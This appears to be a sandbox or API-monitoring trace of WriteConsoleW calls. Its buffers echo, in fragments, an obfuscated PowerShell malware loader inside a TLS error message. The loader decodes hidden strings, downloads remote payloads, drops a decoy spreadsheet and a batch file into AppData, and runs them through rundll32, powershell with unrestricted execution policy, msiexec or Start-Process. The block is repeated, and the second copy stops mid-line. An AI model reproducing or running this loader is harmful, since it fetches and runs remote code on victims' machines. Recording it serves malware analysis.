WriteConsoleW
|
buffer:
Exception setting "SecurityProtocol": "Cannot convert null to type "System.Net.
console_handle:
0x00000023
|
1
|
1 |
0
|
WriteConsoleW
|
buffer:
SecurityProtocolType" due to invalid enumeration values. Specify one of the fol
console_handle:
0x0000002f
|
1
|
1 |
0
|
WriteConsoleW
|
buffer:
lowing enumeration values and try again. The possible enumeration values are "S
console_handle:
0x0000003b
|
1
|
1 |
0
|
WriteConsoleW
|
buffer:
sl3, Tls"."
console_handle:
0x00000047
|
1
|
1 |
0
|
WriteConsoleW
|
buffer:
At line:1 char:699
console_handle:
0x00000053
|
1
|
1 |
0
|
WriteConsoleW
|
buffer:
+ function eakRTR($olGAKmJla, $APxUXinG){[IO.File]::WriteAllBytes($olGAKmJla, $
console_handle:
0x0000005f
|
1
|
1 |
0
|
WriteConsoleW
|
buffer:
APxUXinG)};function atSKPKjLPuNX($olGAKmJla){if($olGAKmJla.EndsWith((DBOaHKYUk
console_handle:
0x0000006b
|
1
|
1 |
0
|
WriteConsoleW
|
buffer:
@(47355,47409,47417,47417))) -eq $True){rundll32.exe $olGAKmJla }elseif($olGAKm
console_handle:
0x00000077
|
1
|
1 |
0
|
WriteConsoleW
|
buffer:
Jla.EndsWith((DBOaHKYUk @(47355,47421,47424,47358))) -eq $True){powershell.exe
console_handle:
0x00000083
|
1
|
1 |
0
|
WriteConsoleW
|
buffer:
-ExecutionPolicy unrestricted -File $olGAKmJla}elseif($olGAKmJla.EndsWith((DBOa
console_handle:
0x0000008f
|
1
|
1 |
0
|
WriteConsoleW
|
buffer:
HKYUk @(47355,47418,47424,47414))) -eq $True){misexec /qn /i $olGAKmJla}else{St
console_handle:
0x0000009b
|
1
|
1 |
0
|
WriteConsoleW
|
buffer:
art-Process $olGAKmJla}};function kGGuIquLOGYrTJYBG($ZaWpuswOXzBXNNJSWq){$nLQGU
console_handle:
0x000000a7
|
1
|
1 |
0
|
WriteConsoleW
|
buffer:
pAAnpfjrqYAky = New-Object (DBOaHKYUk @(47387,47410,47425,47355,47396,47410,474
console_handle:
0x000000b3
|
1
|
1 |
0
|
WriteConsoleW
|
buffer:
07,47376,47417,47414,47410,47419,47425));[Net.ServicePointManager]:: <<<< Secur
console_handle:
0x000000bf
|
1
|
1 |
0
|
WriteConsoleW
|
buffer:
ityProtocol = [Net.SecurityProtocolType]::TLS12;$APxUXinG = $nLQGUpAAnpfjrqYAky
console_handle:
0x000000cb
|
1
|
1 |
0
|
WriteConsoleW
|
buffer:
.DownloadData($ZaWpuswOXzBXNNJSWq);return $APxUXinG};function DBOaHKYUk($yvpNKg
console_handle:
0x000000d7
|
1
|
1 |
0
|
WriteConsoleW
|
buffer:
){$lrsoAtOZxTlq=47309;$qTGhpuFGinHLyNcL=$Null;foreach($UbAZBkVcw in $yvpNKg){$q
console_handle:
0x000000e3
|
1
|
1 |
0
|
WriteConsoleW
|
buffer:
TGhpuFGinHLyNcL+=[char]($UbAZBkVcw-$lrsoAtOZxTlq)};return $qTGhpuFGinHLyNcL};fu
console_handle:
0x000000ef
|
1
|
1 |
0
|
WriteConsoleW
|
buffer:
nction LztbGmYEiJQs(){$QFvHDxxjhpnQC = $env:AppData + '\';$aldNWBtEYsFWYQcs = $
console_handle:
0x000000fb
|
1
|
1 |
0
|
WriteConsoleW
|
buffer:
QFvHDxxjhpnQC + '22.xlsx';If(Test-Path -Path $aldNWBtEYsFWYQcs){Invoke-Item $al
console_handle:
0x00000107
|
1
|
1 |
0
|
WriteConsoleW
|
buffer:
dNWBtEYsFWYQcs;}Else{ $vAaZjEjBBMtrUakWGijG = kGGuIquLOGYrTJYBG (DBOaHKYUk @(47
console_handle:
0x00000113
|
1
|
1 |
0
|
WriteConsoleW
|
buffer:
6,47359,47359,47355,47429,47417,47424,47429));eakRTR $aldNWBtEYsFWYQcs $vAaZjEj
console_handle:
0x00000137
|
1
|
1 |
0
|
WriteConsoleW
|
buffer:
BBMtrUakWGijG;Invoke-Item $aldNWBtEYsFWYQcs;};$pXwqbI = $QFvHDxxjhpnQC + 'xD.ba
console_handle:
0x00000143
|
1
|
1 |
0
|
WriteConsoleW
|
buffer:
t'; if (Test-Path -Path $pXwqbI){atSKPKjLPuNX $pXwqbI;}Else{ $kuPmPEtni = kGGuI
console_handle:
0x0000014f
|
1
|
1 |
0
|
WriteConsoleW
|
buffer:
quLOGYrTJYBG (DBOaHKYUk @(47413,47425,47425,47421,47367,47356,47356,47358,47366
console_handle:
0x0000015b
|
1
|
1 |
0
|
WriteConsoleW
|
buffer:
47364,47359,47365,47364,47356,47429,47377,47355,47407,47406,47425));eakRTR $pXw
console_handle:
0x00000173
|
1
|
1 |
0
|
WriteConsoleW
|
buffer:
qbI $kuPmPEtni;atSKPKjLPuNX $pXwqbI;};;;;}LztbGmYEiJQs;
console_handle:
0x0000017f
|
1
|
1 |
0
|
WriteConsoleW
|
buffer:
+ CategoryInfo : InvalidOperation: (:) [], RuntimeException
console_handle:
0x0000018b
|
1
|
1 |
0
|
WriteConsoleW
|
buffer:
+ FullyQualifiedErrorId : PropertyAssignmentException
console_handle:
0x00000197
|
1
|
1 |
0
|
WriteConsoleW
|
buffer:
Exception setting "SecurityProtocol": "Cannot convert null to type "System.Net.
console_handle:
0x00000023
|
1
|
1 |
0
|
WriteConsoleW
|
buffer:
SecurityProtocolType" due to invalid enumeration values. Specify one of the fol
console_handle:
0x0000002f
|
1
|
1 |
0
|
WriteConsoleW
|
buffer:
lowing enumeration values and try again. The possible enumeration values are "S
console_handle:
0x0000003b
|
1
|
1 |
0
|
WriteConsoleW
|
buffer:
sl3, Tls"."
console_handle:
0x00000047
|
1
|
1 |
0
|
WriteConsoleW
|
buffer:
At line:1 char:699
console_handle:
0x00000053
|
1
|
1 |
0
|
WriteConsoleW
|
buffer:
+ function eakRTR($olGAKmJla, $APxUXinG){[IO.File]::WriteAllBytes($olGAKmJla, $
console_handle:
0x0000005f
|
1
|
1 |
0
|
WriteConsoleW
|
buffer:
APxUXinG)};function atSKPKjLPuNX($olGAKmJla){if($olGAKmJla.EndsWith((DBOaHKYUk
console_handle:
0x0000006b
|
1
|
1 |
0
|
WriteConsoleW
|
buffer:
@(47355,47409,47417,47417))) -eq $True){rundll32.exe $olGAKmJla }elseif($olGAKm
console_handle:
0x00000077
|
1
|
1 |
0
|
WriteConsoleW
|
buffer:
Jla.EndsWith((DBOaHKYUk @(47355,47421,47424,47358))) -eq $True){powershell.exe
console_handle:
0x00000083
|
1
|
1 |
0
|
WriteConsoleW
|
buffer:
-ExecutionPolicy unrestricted -File $olGAKmJla}elseif($olGAKmJla.EndsWith((DBOa
console_handle:
0x0000008f
|
1
|
1 |
0
|
WriteConsoleW
|
buffer:
HKYUk @(47355,47418,47424,47414))) -eq $True){misexec /qn /i $olGAKmJla}else{St
console_handle:
0x0000009b
|
1
|
1 |
0
|
WriteConsoleW
|
buffer:
art-Process $olGAKmJla}};function kGGuIquLOGYrTJYBG($ZaWpuswOXzBXNNJSWq){$nLQGU
console_handle:
0x000000a7
|
1
|
1 |
0
|
WriteConsoleW
|
buffer:
pAAnpfjrqYAky = New-Object (DBOaHKYUk @(47387,47410,47425,47355,47396,47410,474
console_handle:
0x000000b3
|
1
|
1 |
0
|
WriteConsoleW
|
buffer:
07,47376,47417,47414,47410,47419,47425));[Net.ServicePointManager]:: <<<< Secur
console_handle:
0x000000bf
|
1
|
1 |
0
|
WriteConsoleW
|
buffer:
ityProtocol = [Net.SecurityProtocolType]::TLS12;$APxUXinG = $nLQGUpAAnpfjrqYAky
console_handle:
0x000000cb
|
1
|
1 |
0
|
WriteConsoleW
|
buffer:
.DownloadData($ZaWpuswOXzBXNNJSWq);return $APxUXinG};function DBOaHKYUk($yvpNKg
console_handle:
0x000000d7
|
1
|
1 |
0
|
WriteConsoleW
|
buffer:
){$lrsoAtOZxTlq=47309;$qTGhpuFGinHLyNcL=$Null;foreach($UbAZBkVcw in $yvpNKg){$q
console_handle:
0x000000e3
|
1
|
1 |
0
|
WriteConsoleW
|
buffer:
TGhpuFGinHLyNcL+=[char]($UbAZBkVcw-$lrsoAtOZxTlq)};return $qTGhpuFGinHLyNcL};fu
console_handle:
0x000000ef
|
1
|
1 |
0
|
WriteConsoleW
|
buffer:
nction LztbGmYEiJQs(){$QFvHDxxjhpnQC = $env:AppData + '\';$aldNWBtEYsFWYQcs = $
console_handle:
0x000000fb
|
1
|
1 |
0
|
WriteConsoleW
|
buffer:
QFvHDxxjhpnQC + '22.xlsx';If(Test-Path -Path $aldNWBtEYsFWYQcs){Invoke-Item $al
console_handle:
0x00000107
|
1
|
1 |
0
|
WriteConsoleW
|
buffer:
dNWBtEYsFWYQcs;}Else{ $vAaZjEjBBMtrUakWGijG = kGGuIquLOGYrTJYBG (DBOaHKYUk @(47
console_handle:
0x00000113
|
1
|
1 |
0
|